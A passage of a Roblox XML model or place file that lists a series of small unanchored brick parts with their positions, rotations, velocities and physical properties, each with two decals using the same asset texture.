				<token name="RightSurfaceInput">0</token>
				<Vector3 name="RotVelocity">
					<X>0.0871436372</X>
					<Y>0.00107834453</Y>
					<Z>-0.0377324261</Z>
				</Vector3>
				<float name="TopParamA">-0.5</float>
				<float name="TopParamB">0.5</float>
				<token name="TopSurface">0</token>
				<token name="TopSurfaceInput">0</token>
				<float name="Transparency">0</float>
				<Vector3 name="Velocity">
					<X>-0.00334417424</X>
					<Y>0.0126567259</Y>
					<Z>0.00250326958</Z>
				</Vector3>
				<bool name="archivable">true</bool>
				<token name="shape">1</token>
				<Vector3 name="size">
					<X>2</X>
					<Y>0.400000006</Y>
					<Z>1</Z>
				</Vector3>
			</Properties>
			<Item class="Decal" referent="RBX1392">
				<Properties>
					<token name="Face">4</token>
					<string name="Name">Decal</string>
					<float name="Shiny">20</float>
					<float name="Specular">0</float>
					<Content name="Texture"><url>http://www.roblox.com/asset/?id=16658163</url></Content>
					<bool name="archivable">true</bool>
				</Properties>
			</Item>
			<Item class="Decal" referent="RBX1393">
				<Properties>
					<token name="Face">1</token>
					<string name="Name">Decal</string>
					<float name="Shiny">20</float>
					<float name="Specular">0</float>
					<Content name="Texture"><url>http://www.roblox.com/asset/?id=16658163</url></Content>
					<bool name="archivable">true</bool>
				</Properties>
			</Item>
		</Item>
		<Item class="Part" referent="RBX1394">
			<Properties>
				<bool name="Anchored">false</bool>
				<float name="BackParamA">-0.5</float>
				<float name="BackParamB">0.5</float>
				<token name="BackSurface">0</token>
				<token name="BackSurfaceInput">0</token>
				<float name="BottomParamA">-0.5</float>
				<float name="BottomParamB">0.5</float>
				<token name="BottomSurface">0</token>
				<token name="BottomSurfaceInput">0</token>
				<int name="BrickColor">28</int>
				<CoordinateFrame name="CFrame">
					<X>-68.0065002</X>
					<Y>0.591213107</Y>
					<Z>-57.9377289</Z>
					<R00>0.110881522</R00>
					<R01>9.09726805e-006</R01>
					<R02>-0.993833601</R02>
					<R10>-1.10438541e-005</R10>
					<R11>-0.99999994</R11>
					<R12>-1.03858702e-005</R12>
					<R20>-0.993833601</R20>
					<R21>1.21273542e-005</R21>
					<R22>-0.11088144</R22>
				</CoordinateFrame>
				<bool name="CanCollide">true</bool>
				<bool name="DraggingV1">false</bool>
				<float name="Elasticity">0.00999999978</float>
				<token name="FormFactor">2</token>
				<float name="Friction">0.300000012</float>
				<float name="FrontParamA">-0.5</float>
				<float name="FrontParamB">0.5</float>
				<token name="FrontSurface">0</token>
				<token name="FrontSurfaceInput">0</token>
				<float name="LeftParamA">-0.5</float>
				<float name="LeftParamB">0.5</float>
				<token name="LeftSurface">0</token>
				<token name="LeftSurfaceInput">0</token>
				<bool name="Locked">false</bool>
				<token name="Material">256</token>
				<string name="Name">Part</string>
				<float name="Reflectance">0</float>
				<float name="RightParamA">-0.5</float>
				<float name="RightParamB">0.5</float>
				<token name="RightSurface">0</token>
				<token name="RightSurfaceInput">0</token>
				<Vector3 name="RotVelocity">
					<X>-0.025653597</X>
					<Y>0.00188850972</Y>
					<Z>-0.020717375</Z>
				</Vector3>
				<float name="TopParamA">-0.5</float>
				<float name="TopParamB">0.5</float>
				<token name="TopSurface">0</token>
				<token name="TopSurfaceInput">0</token>
				<float name="Transparency">0</float>
				<Vector3 name="Velocity">
					<X>0.00480080349</X>
					<Y>-0.00927017443</Y>
					<Z>-0.00114614889</Z>
				</Vector3>
				<bool name="archivable">true</bool>
				<token name="shape">1</token>
				<Vector3 name="size">
					<X>2</X>
					<Y>0.400000006</Y>
					<Z>1</Z>
				</Vector3>
			</Properties>
			<Item class="Decal" referent="RBX1395">
				<Properties>
					<token name="Face">4</token>
					<string name="Name">Decal</string>
					<float name="Shiny">20</float>
					<float name="Specular">0</float>
					<Content name="Texture"><url>http://www.roblox.com/asset/?id=16658163</url></Content>
					<bool name="archivable">true</bool>
				</Properties>
			</Item>
			<Item class="Decal" referent="RBX1396">
				<Properties>
					<token name="Face">1</token>
					<string name="Name">Decal</string>
					<float name="Shiny">20</float>
					<float name="Specular">0</float>
					<Content name="Texture"><url>http://www.roblox.com/asset/?id=16658163</url></Content>
					<bool name="archivable">true</bool>
				</Properties>
			</Item>
		</Item>
		<Item class="Part" referent="RBX1397">
			<Properties>
				<bool name="Anchored">false</bool>
				<float name="BackParamA">-0.5</float>
				<float name="BackParamB">0.5</float>
				<token name="BackSurface">0</token>
				<token name="BackSurfaceInput">0</token>
				<float name="BottomParamA">-0.5</float>
				<float name="BottomParamB">0.5</float>
				<token name="BottomSurface">0</token>
				<token name="BottomSurfaceInput">0</token>
				<int name="BrickColor">28</int>
				<CoordinateFrame name="CFrame">
					<X>-77.0622482</X>
					<Y>0.590365589</Y>
					<Z>-62.0476723</Z>
					<R00>-0.960369408</R00>
					<R01>-0.00153853733</R01>
					<R02>-0.278725833</R02>
					<R10>-0.00224870234</R10>
					<R11>0.999994993</R11>
					<R12>0.00222819531</R12>
					<R20>0.278721005</R20>
					<R21>0.00276666228</R21>
					<R22>-0.960368037</R22>
				</CoordinateFrame>
				<bool name="CanCollide">true</bool>
				<bool name="DraggingV1">false</bool>
				<float name="Elasticity">0.00999999978</float>
				<token name="FormFactor">2</token>
				<float name="Friction">0.300000012</float>
				<float name="FrontParamA">-0.5</float>
				<float name="FrontParamB">0.5</float>
				<token name="FrontSurface">0</token>
				<token name="FrontSurfaceInput">0</token>
				<float name="LeftParamA">-0.5</float>
				<float name="LeftParamB">0.5</float>
				<token name="LeftSurface">0</token>
				<token name="LeftSurfaceInput">0</token>
				<bool name="Locked">false</bool>
				<token name="Material">256</token>
				<string name="Name">Part</string>
				<float name="Reflectance">0</float>
				<float name="RightParamA">-0.5</float>
				<float name="RightParamB">0.5</float>
				<token name="RightSurface">0</token>
				<token name="RightSurfaceInput">0</token>
				<Vector3 name="RotVelocity">
					<X>0.095023565</X>
					<Y>-0.00203839084</Y>
					<Z>-0.0391436517</Z>
				</Vector3>
				<float name="TopParamA">-0.5</float>
				<float name="TopParamB">0.5</float>
				<token name="TopSurface">0</token>
				<token name="TopSurfaceInput">0</token>
				<float name="Transparency">0</float>
				<Vector3 name="Velocity">
					<X>-0.00338415918</X>
					<Y>-0.0103712073</Y>
					<Z>-0.0085909944</Z>
				</Vector3>
				<bool name="archivable">true</bool>
				<token name="shape">1</token>
				<Vector3 name="size">
					<X>2</X>
					<Y>0.400000006</Y>
					<Z>1</Z>
				</Vector3>
			</Properties>
			<Item class="Decal" referent="RBX1398">
				<Properties>
					<token name="Face">4</token>
					<string name="Name">Decal</string>
					<float name="Shiny">20</float>
					<float name="Specular">0</float>
					<Content name="Texture"><url>http://www.roblox.com/asset/?id=16658163</url></Content>
					<bool name="archivable">true</bool>
				</Properties>
			</Item>
			<Item class="Decal" referent="RBX1399">
				<Properties>
					<token name="Face">1</token>
					<string name="Name">Decal</string>
					<float name="Shiny">20</float>
					<float name="Specular">0</float>
					<Content name="Texture"><url>http://www.roblox.com/asset/?id=16658163</url></Content>
					<bool name="archivable">true</bool>
				</Properties>
			</Item>
		</Item>
		<Item class="Part" referent="RBX1400">
			<Properties>
				<bool name="Anchored">false</bool>
				<float name="BackParamA">-0.5</float>
				<float name="BackParamB">0.5</float>
				<token name="BackSurface">0</token>
				<token name="BackSurfaceInput">0</token>
				<float name="BottomParamA">-0.5</float>
				<float name="BottomParamB">0.5</float>
				<token name="BottomSurface">0</token>
				<token name="BottomSurfaceInput">0</token>
				<int name="BrickColor">28</int>
				<CoordinateFrame name="CFrame">
					<X>-71.4394608</X>
					<Y>0.891237736</Y>
					<Z>-58.6689224</Z>
					<R00>-0.74651289</R00>
					<R01>0.665370524</R01>
					<R02>0.000496016815</R02>
					<R10>3.41200466e-005</R10>
					<R11>-0.000707138679</R11>
					<R12>0.999999702</R12>
					<R20>0.665370762</R20>
					<R21>0.74651283</R21>
					<R22>0.000505306933</R22>
				</CoordinateFrame>
				<bool name="CanCollide">true</bool>
				<bool name="DraggingV1">false</bool>
				<float name="Elasticity">0.00999999978</float>
				<token name="FormFactor">2</token>
				<float name="Friction">0.300000012</float>
				<float name="FrontParamA">-0.5</float>
				<float name="FrontParamB">0.5</float>
				<token name="FrontSurface">0</token>
				<token name="FrontSurfaceInput">0</token>
				<float name="LeftParamA">-0.5</float>
				<float name="LeftParamB">0.5</float>
				<token name="LeftSurface">0</token>
				<token name="LeftSurfaceInput">0</token>
				<bool name="Locked">false</bool>
				<token name="Material">256</token>
				<string name="Name">Part</string>
				<float name="Reflectance">0</float>
				<float name="RightParamA">-0.5</float>
				<float name="RightParamB">0.5</float>
				<token name="RightSurface">0</token>
				<token name="RightSurfaceInput">0</token>
				<Vector3 name="RotVelocity">
					<X>-0.0194055121</X>
					<Y>0.00365887908</Y>
					<Z>-0.0209014118</Z>
				</Vector3>
				<float name="TopParamA">-0.5</float>
				<float name="TopParamB">0.5</float>
				<token name="TopSurface">0</token>
				<token name="TopSurfaceInput">0</token>
				<float name="Transparency">0</float>
				<Vector3 name="Velocity">
					<X>-0.00415810756</X>
					<Y>-0.00673582871</Y>
					<Z>-0.000594304933</Z>
				</Vector3>
				<bool name="archivable">true</bool>
				<token name="shape">1</token>
				<Vector3 name="size">
					<X>2</X>
					<Y>0.400000006</Y>
					<Z>1</Z>
				</Vector3>
			</Properties>
			<Item class="Decal" referent="RBX1401">
				<Properties>
					<token name="Face">4</token>
					<string name="Name">Decal</string>
					<float name="Shiny">20</float>
					<float name="Specular">0</float>
					<Content name="Texture"><url>http://www.roblox.com/asset/?id=16658163</url></Content>
					<bool name="archivable">true</bool>
				</Properties>
			</Item>
			<Item class="Decal" referent="RBX1402">
				<Properties>
					<token name="Face">1</token>
					<string name="Name">Decal</string>
					<float name="Shiny">20</float>
					<float name="Specular">0</float>
					<Content name="Texture"><url>http://www.roblox.com/asset/?id=16658163</url></Content>
					<bool name="archivable">true</bool>
				</Properties>
			</Item>
		</Item>
		<Item class="Part" referent="RBX1403">
			<Properties>
				<bool name="Anchored">false</bool>
				<float name="BackParamA">-0.5</float>
				<float name="BackParamB">0.5</float>
				<token name="BackSurface">0</token>
				<token name="BackSurfaceInput">0</token>
				<float name="BottomParamA">-0.5</float>
				<float name="BottomParamB">0.5</float>
				<token name="BottomSurface">0</token>
				<token name="BottomSurfaceInput">0</token>
				<int name="BrickColor">28</int>
				<CoordinateFrame name="CFrame">
					<X>-70.8443146</X>
					<Y>0.591021478</Y>
					<Z>-51.1457291</Z>
					<R00>0.0883969665</R00>
					<R01>0.000295106904</R01>
					<R02>-0.996085286</R02>
					<R10>-0.000131553446</R10>
					<R11>0.99999994</R11>
					<R12>0.000284592068</R12>
					<R20>0.996085286</R20>
					<R21>0.00010588138</R21>
					<R22>0.0883970037</R22>
				</CoordinateFrame>
				<bool name="CanCollide">true</bool>
				<bool name="DraggingV1">false</bool>
				<float name="Elasticity">0.00999999978</float>
				<token name="FormFactor">2</token>
				<float name="Friction">0.300000012</float>
				<float name="FrontParamA">-0.5</float>
				<float name="FrontParamB">0.5</float>
				<token name="FrontSurface">0</token>
				<token name="FrontSurfaceInput">0</token>
				<float name="LeftParamA">-0.5</float>
				<float name="LeftParamB">0.5</float>
				<token name="LeftSurface">0</token>
				<token name="LeftSurfaceInput">0</token>
				<bool name="Locked">false</bool>
				<token name="Material">256</token>
				<string name="Name">Part</string>
				<float name="Reflectance">0</float>
				<float name="RightParamA">-0.5</float>
				<float name="RightParamB">0.5</float>
				<token name="RightSurface">0</token>
				<token name="RightSurfaceInput">0</token>
				<Vector3 name="RotVelocity">
					<X>-0.0305792056</X>
					<Y>0.000128733547</Y>
					<Z>0.000693390903</Z>
				</Vector3>
				<float name="TopParamA">-0.5</float>
				<float name="TopParamB">0.5</float>
				<token name="TopSurface">0</token>
				<token name="TopSurfaceInput">0</token>
				<float name="Transparency">0</float>
				<Vector3 name="Velocity">
					<X>-0.0100362999</X>
					<Y>-0.0110735437</Y>
					<Z>-0.000805683201</Z>
				</Vector3>
				<bool name="archivable">true</bool>
				<token name="shape">1</token>
				<Vector3 name="size">
					<X>2</X>
					<Y>0.400000006</Y>
					<Z>1</Z>
				</Vector3>
			</Properties>
			<Item class="Decal" referent="RBX1404">
				<Properties>
					<token name="Face">4</token>
					<string name="Name">Decal</string>
					<float name="Shiny">20</float>
					<float name="Specular">0</float>
					<Content name="Texture"><url>http://www.roblox.com/asset/?id=16658163</url></Content>
					<bool name="archivable">true</bool>
				</Properties>
			</Item>
			<Item class="Decal" referent="RBX1405">
				<Properties>
					<token name="Face">1</token>
					<string name="Name">Decal</string>
					<float name="Shiny">20</float>
					<float name="Specular">0</float>
					<Content name="Texture"><url>http://www.roblox.com/asset/?id=16658163</url></Content>
					<bool name="archivable">true</bool>
				</Properties>
			</Item>
		</Item>
		<Item class="Part" referent="RBX1406">
			<Properties>
				<bool name="Anchored">false</bool>
				<float name="BackParamA">-0.5</float>
				<float name="BackParamB">0.5</float>
				<token name="BackSurface">0</token>
				<token name="BackSurfaceInput">0</token>
				<float name="BottomParamA">-0.5</float>
				<float name="BottomParamB">0.5</float>
				<token name="BottomSurface">0</token>
				<token name="BottomSurfaceInput">0</token>
				<int name="BrickColor">28</int>
				<CoordinateFrame name="CFrame">
					<X>-75.9829483</X>
					<Y>0.591551483</Y>
					<Z>-60.7522545</Z>
					<R00>-0.641379833</R00>
					<R01>-4.87699217e-005</R01>
					<R02>-0.767223418</R02>
					<R10>-2.54787901e-005</R10>
					<R11>1</R11>
					<R12>-4.22671365e-005</R12>
					<R20>0.767223418</R20>
					<R21>-7.56136478e-006</R21>
					<R22>-0.641379833</R22>
				</CoordinateFrame>
				<bool name="CanCollide">true</bool>
				<bool name="DraggingV1">false</bool>
				<float name="Elasticity">0.00999999978</float>
				<token name="FormFactor">2</token>
				<float name="Friction">0.300000012</float>
				<float name="FrontParamA">-0.5</float>
				<float name="FrontParamB">0.5</float>
				<token name="FrontSurface">0</token>
				<token name="FrontSurfaceInput">0</token>
				<float name="LeftParamA">-0.5</float>
				<float name="LeftParamB">0.5</float>
				<token name="LeftSurface">0</token>
				<token name="LeftSurfaceInput">0</token>
				<bool name="Locked">false</bool>
				<token name="Material">256</token>
				<string name="Name">Part</string>
				<float name="Reflectance">0</float>
				<float name="RightParamA">-0.5</float>
				<float name="RightParamB">0.5</float>
				<token name="RightSurface">0</token>
				<token name="RightSurfaceInput">0</token>
				<Vector3 name="RotVelocity">
					<X>0.0149413552</X>
					<Y>-0.00063533854</Y>
					<Z>0.0131056188</Z>
				</Vector3>
				<float name="TopParamA">-0.5</float>
				<float name="TopParamB">0.5</float>
				<token name="TopSurface">0</token>
				<token name="TopSurfaceInput">0</token>
				<float name="Transparency">0</float>
				<Vector3 name="Velocity">
					<X>-0.00388996303</X>
					<Y>-0.0126124471</Y>
					<Z>-0.00224381918</Z>
				</Vector3>
				<bool name="archivable">true</bool>
				<token name="shape">1</token>
				<Vector3 name="size">
					<X>2</X>
					<Y>0.400000006</Y>
					<Z>1</Z>
				</Vector3>
			</Properties>
			<Item class="Decal" referent="RBX1407">
				<Properties>
					<token name="Face">4</token>
					<string name="Name">Decal</string>
					<float name="Shiny">20</float>
					<float name="Specular">0</float>
					<Content name="Texture"><url>http://www.roblox.com/asset/?id=16658163</url></Content>
					<bool name="archivable">true</bool>
				</Properties>
			</Item>
			<Item class="Decal" referent="RBX1408">
				<Properties>
					<token name="Face">1</token>
					<string name="Name">Decal</string>
					<float name="Shiny">20</float>
					<float name="Specular">0</float>
					<Content name="Texture"><url>http://www.roblox.com/asset/?id=16658163</url></Content>
					<bool name="archivable">true</bool>
				</Properties>
			</Item>
		</Item>
		<Item class="Part" referent="RBX1409">
			<Properties>
				<bool name="Anchored">false</bool>
				<float name="BackParamA">-0.5</float>
				<float name="BackParamB">0.5</float>
				<token name="BackSurface">0</token>
				<token name="BackSurfaceInput">0</token>
				<float name="BottomParamA">-0.5</float>
				<float name="BottomParamB">0.5</float>
				<token name="BottomSurface">0</token>
				<token name="BottomSurfaceInput">0</token>
				<int name="BrickColor">28</int>
				<CoordinateFrame name="CFrame">
					<X>-68.3447495</X>
					<Y>0.590945065</Y>
					<Z>-47.2190857</Z>
					<R00>-0.999536335</R00>
					<R01>-4.47566272e-005</R01>
					<R02>0.0304521658</R02>
					<R10>4.22271623e-005</R10>
					<R11>-1</R11>
					<R12>-8.37067564e-005</R12>
					<R20>0.0304521695</R20>
					<R21>-8.23820228e-005</R21>
					<R22>0.999536216</R22>
				</CoordinateFrame>
				<bool name="CanCollide">true</bool>
				<bool name="DraggingV1">false</bool>
				<float name="Elasticity">0.00999999978</float>
				<token name="FormFactor">2</token>
				<float name="Friction">0.300000012</float>
				<float name="FrontParamA">-0.5</float>
				<float name="FrontParamB">0.5</float>
				<token name="FrontSurface">0</token>
				<token name="FrontSurfaceInput">0</token>
				<float name="LeftParamA">-0.5</float>
				<float name="LeftParamB">0.5</float>
				<token name="LeftSurface">0</token>
				<token name="LeftSurfaceInput">0</token>
				<bool name="Locked">false</bool>
				<token name="Material">256</token>
				<string name="Name">Part</string>
				<float name="Reflectance">0</float>
				<float name="RightParamA">-0.5</float>
				<float name="RightParamB">0.5</float>
				<token name="RightSurface">0</token>
				<token name="RightSurfaceInput">0</token>
				<Vector3 name="RotVelocity">
					<X>0.000171826468</X>
					<Y>-0.00191251491</Y>
					<Z>-0.0341863707</Z>
				</Vector3>
				<float name="TopParamA">-0.5</float>
				<float name="TopParamB">0.5</float>
				<token name="TopSurface">0</token>
				<token name="TopSurfaceInput">0</token>
				<float name="Transparency">0</float>
				<Vector3 name="Velocity">
					<X>-0.00198369124</X>
					<Y>-0.00155102322</Y>
					<Z>-0.000668280525</Z>
				</Vector3>
				<bool name="archivable">true</bool>
				<token name="shape">1</token>
				<Vector3 name="size">
					<X>2</X>
					<Y>0.400000006</Y>
					<Z>1</Z>
				</Vector3>
			</Properties>
			<Item class="Decal" referent="RBX1410">
				<Properties>
					<token name="Face">4</token>
					<string name="Name">Decal</string>
					<float name="Shiny">20</float>
					<float name="Specular">0</float>
					<Content name="Texture"><url>http://www.roblox.com/asset/?id=16658163</url></Content>
					<bool name="archivable">true</bool>
				</Properties>
			</Item>
			<Item class="Decal" referent="RBX1411">
				<Properties>
					<token name="Face">1</token>
					<string name="Name">Decal</string>
					<float name="Shiny">20</float>
					<float name="Specular">0</float>
					<Content name="Texture"><url>http://www.roblox.com/asset/?id=16658163</url></Content>
					<bool name="archivable">true</bool>
				</Properties>
			</Item>
		</Item>
		<Item class="Part" referent="RBX1412">
			<Properties>
				<bool name="Anchored">false</bool>
				<float name="BackParamA">-0.5</float>
				<float name="BackParamB">0.5</float>
				<token name="BackSurface">0</token>
				<token name="BackSurfaceInput">0</token>
				<float name="BottomParamA">-0.5</float>
				<float name="BottomParamB">0.5</float>
				<token name="BottomSurface">0</token>
				<token name="BottomSurfaceInput">0</token>
				<int name="BrickColor">28</int>
				<CoordinateFrame name="CFrame">
					<X>-62.0415649</X>
					<Y>0.89095813</Y>
					<Z>-50.1790962</Z>
					<R00>-0.828652442</R00>
					<R01>-0.55976367</R01>
					<R02>0.00015429873</R02>
					<R10>1.87993487e-006</R10>
					<R11>-0.000278486375</R11>
					<R12>-1</R12>
					<R20>0.55976373</R20>
					<R21>-0.828652322</R21>
					<R22>0.000231705795</R22>
				</CoordinateFrame>
				<bool name="CanCollide">true</bool>
				<bool name="DraggingV1">false</bool>
				<float name="Elasticity">0.00999999978</float>
				<token name="FormFactor">2</token>
				<float name="Friction">0.300000012</float>
				<float name="FrontParamA">-0.5</float>
				<float name="FrontParamB">0.5</float>
				<token name="FrontSurface">0</token>
				<token name="FrontSurfaceInput">0</token>
				<float name="LeftParamA">-0.5</float>
				<float name="LeftParamB">0.5</float>
				<token name="LeftSurface">0</token>
				<token name="LeftSurfaceInput">0</token>
				<bool name="Locked">false</bool>
				<token name="Material">256</token>
				<string name="Name">Part</string>
				<float name="Reflectance">0</float>
				<float name="RightParamA">-0.5</float>
				<float name="RightParamB">0.5</float>
				<token name="RightSurface">0</token>
				<token name="RightSurfaceInput">0</token>
				<Vector3 name="RotVelocity">
					<X>0.00493013114</X>
					<Y>0.0128970472</Y>
					<Z>-0.0370568223</Z>
				</Vector3>
				<float name="TopParamA">-0.5</float>
				<float name="TopParamB">0.5</float>
				<token name="TopSurface">0</token>
				<token name="TopSurfaceInput">0</token>
				<float name="Transparency">0</float>
				<Vector3 name="Velocity">
					<X>-0.00417790841</X>
					<Y>-0.00376226078</Y>
					<Z>-0.00661319774</Z>
				</Vector3>
				<bool name="archivable">true</bool>
				<token name="shape">1</token>
				<Vector3 name="size">
					<X>2</X>
					<Y>0.400000006</Y>
					<Z>1</Z>
				</Vector3>
			</Properties>
			<Item class="Decal" referent="RBX1413">
				<Properties>
					<token name="Face">4</token>
					<string name="Name">Decal</string>
					<float name="Shiny">20</float>
					<float name="Specular">0</float>
					<Content name="Texture"><url>http://www.roblox.com/asset/?id=16658163</url></Content>
					<bool name="archivable">true</bool>
				</Properties>
			</Item>
			<Item class="Decal" referent="RBX1414">
				<Properties>
					<token name="Face">1</token>
					<string name="Name">Decal</string>
					<float name="Shiny">20</float>
					<float name="Specular">0</float>
					<Content name="Texture"><url>http://www.roblox.com/asset/?id=16658163</url></Content>
					<bool name="archivable">true</bool>
				</Properties>
			</Item>
		</Item>
		<Item class="Part" referent="RBX1415">
			<Properties>
				<bool name="Anchored">false</bool>
				<float name="BackParamA">-0.5</float>
				<float name="BackParamB">0.5</float>
				<token name="BackSurface">0</token>
				<token name="BackSurfaceInput">0</token>
				<float name="BottomParamA">-0.5</float>
				<float name="BottomParamB">0.5</float>
				<token name="BottomSurface">0</token>
				<token name="BottomSurfaceInput">0</token>
				<int name="BrickColor">28</int>
				<CoordinateFrame name="CFrame">
					<X>-62.7732391</X>
					<Y>0.590146065</Y>
					<Z>-50.6934967</Z>
					<R00>-0.704177022</R00>
					<R01>-0.00219852966</R01>
					<R02>-0.7100209</R02>
					<R10>-0.00166517287</R10>
					<R11>0.999997556</R11>
					<R12>-0.00144495431</R12>
					<R20>0.71002239</R20>
					<R21>0.000164803889</R21>
					<R22>-0.704178989</R22>
				</CoordinateFrame>
				<bool name="CanCollide">true</bool>
				<bool name="DraggingV1">false</bool>
				<float name="Elasticity">0.00999999978</float>
				<token name="FormFactor">2</token>
				<float name="Friction">0.300000012</float>
				<float name="FrontParamA">-0.5</float>
				<float name="FrontParamB">0.5</float>
				<token name="FrontSurface">0</token>
				<token name="FrontSurfaceInput">0</token>
				<float name="LeftParamA">-0.5</float>
				<float name="LeftParamB">0.5</float>
				<token name="LeftSurface">0</token>
				<token name="LeftSurfaceInput">0</token>
				<bool name="Locked">false</bool>
				<token name="Material">256</token>
				<string name="Name">Part</string>
				<float name="Reflectance">0</float>
				<float name="RightParamA">-0.5</float>
				<float name="RightParamB">0.5</float>
				<token name="RightSurface">0</token>
				<token name="RightSurfaceInput">0</token>
				<Vector3 name="RotVelocity">
					<X>0.00311682164</X>
					<Y>-0.0223899446</Y>
					<Z>-0.14333272</Z>
				</Vector3>
				<float name="TopParamA">-0.5</float>
				<float name="TopParamB">0.5</float>
				<token name="TopSurface">0</token>
				<token name="TopSurfaceInput">0</token>
				<float name="Transparency">0</float>
				<Vector3 name="Velocity">
					<X>-0.00577951502</X>
					<Y>0.0520467088</Y>
					<Z>-0.00744492793</Z>
				</Vector3>
				<bool name="archivable">true</bool>
				<token name="shape">1</token>
				<Vector3 name="size">
					<X>2</X>
					<Y>0.400000006</Y>
					<Z>1</Z>
				</Vector3>
			</Properties>
			<Item class="Decal" referent="RBX1416">
				<Properties>
					<token name="Face">4</token>
					<string name="Name">Decal</string>
					<float name="Shiny">20</float>
					<float name="Specular">0</float>
					<Content name="Texture"><url>http://www.roblox.com/asset/?id=16658163</url></Content>
					<bool name="archivable">true</bool>
				</Properties>
			</Item>
			<Item class="Decal" referent="RBX1417">
				<Properties>
					<token name="Face">1</token>
					<string name="Name">Decal</string>
					<float name="Shiny">20</float>
					<float name="Specular">0</float>
					<Content name="Texture"><url>http://www.roblox.com/asset/?id=16658163</url></Content>
					<bool name="archivable">true</bool>
				</Properties>
			</Item>
		</Item>
		<Item class="Part" referent="RBX1418">
			<Properties>
				<bool name="Anchored">false</bool>
				<float name="BackParamA">-0.5</float>
				<float name="BackParamB">0.5</float>
				<token name="BackSurface">0</token>
				<token name="BackSurfaceInput">0</token>
				<float name="BottomParamA">-0.5</float>
				<float name="BottomParamB">0.5</float>
				<token name="BottomSurface">0</token>
				<token name="BottomSurfaceInput">0</token>
				<int name="BrickColor">28</int>
				<CoordinateFrame name="CFrame">
					<X>-64.353981</X>
					<Y>0.76935637</Y>
					<Z>-50.4654884</Z>
					<R00>-0.460602522</R00>
					<R01>0.345486879</R01>
					<R02>0.817608714</R02>
					<R10>-0.000543561764</R10>
					<R11>-0.921248376</R11>
					<R12>0.388974398</R12>
					<R20>0.887606323</R20>
					<R21>0.178718179</R21>
					<R22>0.424517184</R22>
				</CoordinateFrame>
				<bool name="CanCollide">true</bool>
				<bool name="DraggingV1">false</bool>
				<float name="Elasticity">0.00999999978</float>
				<token name="FormFactor">2</token>
				<float name="Friction">0.300000012</float>
				<float name="FrontParamA">-0.5</float>
				<float name="FrontParamB">0.5</float>
				<token name="FrontSurface">0</token>
				<token name="FrontSurfaceInput">0</token>
				<float name="LeftParamA">-0.5</float>
				<float name="LeftParamB">0.5</float>
				<token name="LeftSurface">0</token>
				<token name="LeftSurfaceInput">0</token>
				<bool name="Locked">false</bool>
				<token name="Material">256</token>
				<string name="Name">Part</string>
				<float name="Reflectance">0</float>
				<float name="RightParamA">-0.5</float>
				<float name="RightParamB">0.5</float>
				<token name="RightSurface">0</token>
				<token name="RightSurfaceInput">0</token>
				<Vector3 name="RotVelocity">
					<X>-0.0474399775</X>
					<Y>0.0296731684</Y>
					<Z>0.0326628126</Z>
				</Vector3>
				<float name="TopParamA">-0.5</float>
				<float name="TopParamB">0.5</float>
				<token name="TopSurface">0</token>
				<token name="TopSurfaceInput">0</token>
				<float name="Transparency">0</float>
				<Vector3 name="Velocity">
					<X>-0.0861273408</X>
					<Y>0.0137496982</Y>
					<Z>-0.0474955551</Z>
				</Vector3>
				<bool name="archivable">true</bool>
				<token name="shape">1</token>
				<Vector3 name="size">
					<X>2</X>
					<Y>0.400000006</Y>
					<Z>1</Z>
				</Vector3>
			</Properties>
			<Item class="Decal" referent="RBX1419">
				<Properties>
					<token name="Face">4</token>
					<string name="Name">Decal</string>
					<float name="Shiny">20</float>
					<float name="Specular">0</float>
					<Content name="Texture"><url>http://www.roblox.com/asset/?id=16658163</url></Content>
					<bool name="archivable">true</bool>
				</Properties>
			</Item>
			<Item class="Decal" referent="RBX1420">
				<Properties>
					<token name="Face">1</token>
					<string name="Name">Decal</string>
					<float name="Shiny">20</float>
					<float name="Specular">0</float>
					<Content name="Texture"><url>http://www.roblox.com/asset/?id=16658163</url></Content>
					<bool name="archivable">true</bool>
				</Properties>
			</Item>
		</Item>
		<Item class="Part" referent="RBX1421">
			<Properties>
				<bool name="Anchored">false</bool>
				<float name="BackParamA">-0.5</float>
				<float name="BackParamB">0.5</float>
				<token name="BackSurface">0</token>
				<token name="BackSurfaceInput">0</token>
				<float name="BottomParamA">-0.5</float>
				<float name="BottomParamB">0.5</float>
				<token name="BottomSurface">0</token>
				<token name="BottomSurfaceInput">0</token>
				<int name="BrickColor">28</int>
				<CoordinateFrame name="CFrame">
					<X>-63.3366127</X>
					<Y>0.591044426</Y>
					<Z>-46.8858109</Z>
					<R00>-0.378610641</R00>
					<R01>0.000145128826</R01>
					<R02>-0.925556004</R02>
					<R10>-7.54451685e-005</R10>
					<R11>1</R11>
					<R12>0.00018766358</R12>
					<R20>0.925556064</R20>
					<R21>0.000140880162</R21>
					<R22>-0.378610611</R22>
				</CoordinateFrame>
				<bool name="CanCollide">true</bool>
				<bool name="DraggingV1">false</bool>
				<float name="Elasticity">0.00999999978</float>
				<token name="FormFactor">2</token>
				<float name="Friction">0.300000012</float>
				<float name="FrontParamA">-0.5</float>
				<float name="FrontParamB">0.5</float>
				<token name="FrontSurface">0</token>
				<token name="FrontSurfaceInput">0</token>
				<float name="LeftParamA">-0.5</float>
				<float name="LeftParamB">0.5</float>
				<token name="LeftSurface">0</token>
				<token name="LeftSurfaceInput">0</token>
				<bool name="Locked">false</bool>
				<token name="Material">256</token>
				<string name="Name">Part</string>
				<float name="Reflectance">0</float>
				<float name="RightParamA">-0.5</float>
				<float name="RightParamB">0.5</float>
				<token name="RightSurface">0</token>
				<token name="RightSurfaceInput">0</token>
				<Vector3 name="RotVelocity">
					<X>0.0254694223</X>
					<Y>-0.000330282783</Y>
					<Z>0.0139057534</Z>
				</Vector3>
				<float name="TopParamA">-0.5</float>
				<float name="TopParamB">0.5</float>
				<token name="TopSurface">0</token>
				<token name="TopSurfaceInput">0</token>
				<float name="Transparency">0</float>
				<Vector3 name="Velocity">
					<X>-0.00191816641</X>
					<Y>0.00348436134</Y>
					<Z>0.0020682856</Z>
				</Vector3>
				<bool name="archivable">true</bool>
				<token name="shape">1</token>
				<Vector3 name="size">
					<X>2</X>
					<Y>0.400000006</Y>
					<Z>1</Z>
				</Vector3>
			</Properties>
			<Item class="Decal" referent="RBX1422">
				<Properties>
					<token name="Face">4</token>
					<string name="Name">Decal</string>
					<float name="Shiny">20</float>
					<float name="Specular">0</float>
					<Content name="Texture"><url>http://www.roblox.com/asset/?id=16658163</url></Content>
					<bool name="archivable">true</bool>
				</Properties>
			</Item>
			<Item class="Decal" referent="RBX1423">
				<Properties>
					<token name="Face">1</token>
					<string name="Name">Decal</string>
					<float name="Shiny">20</float>
					<float name="Specular">0</float>
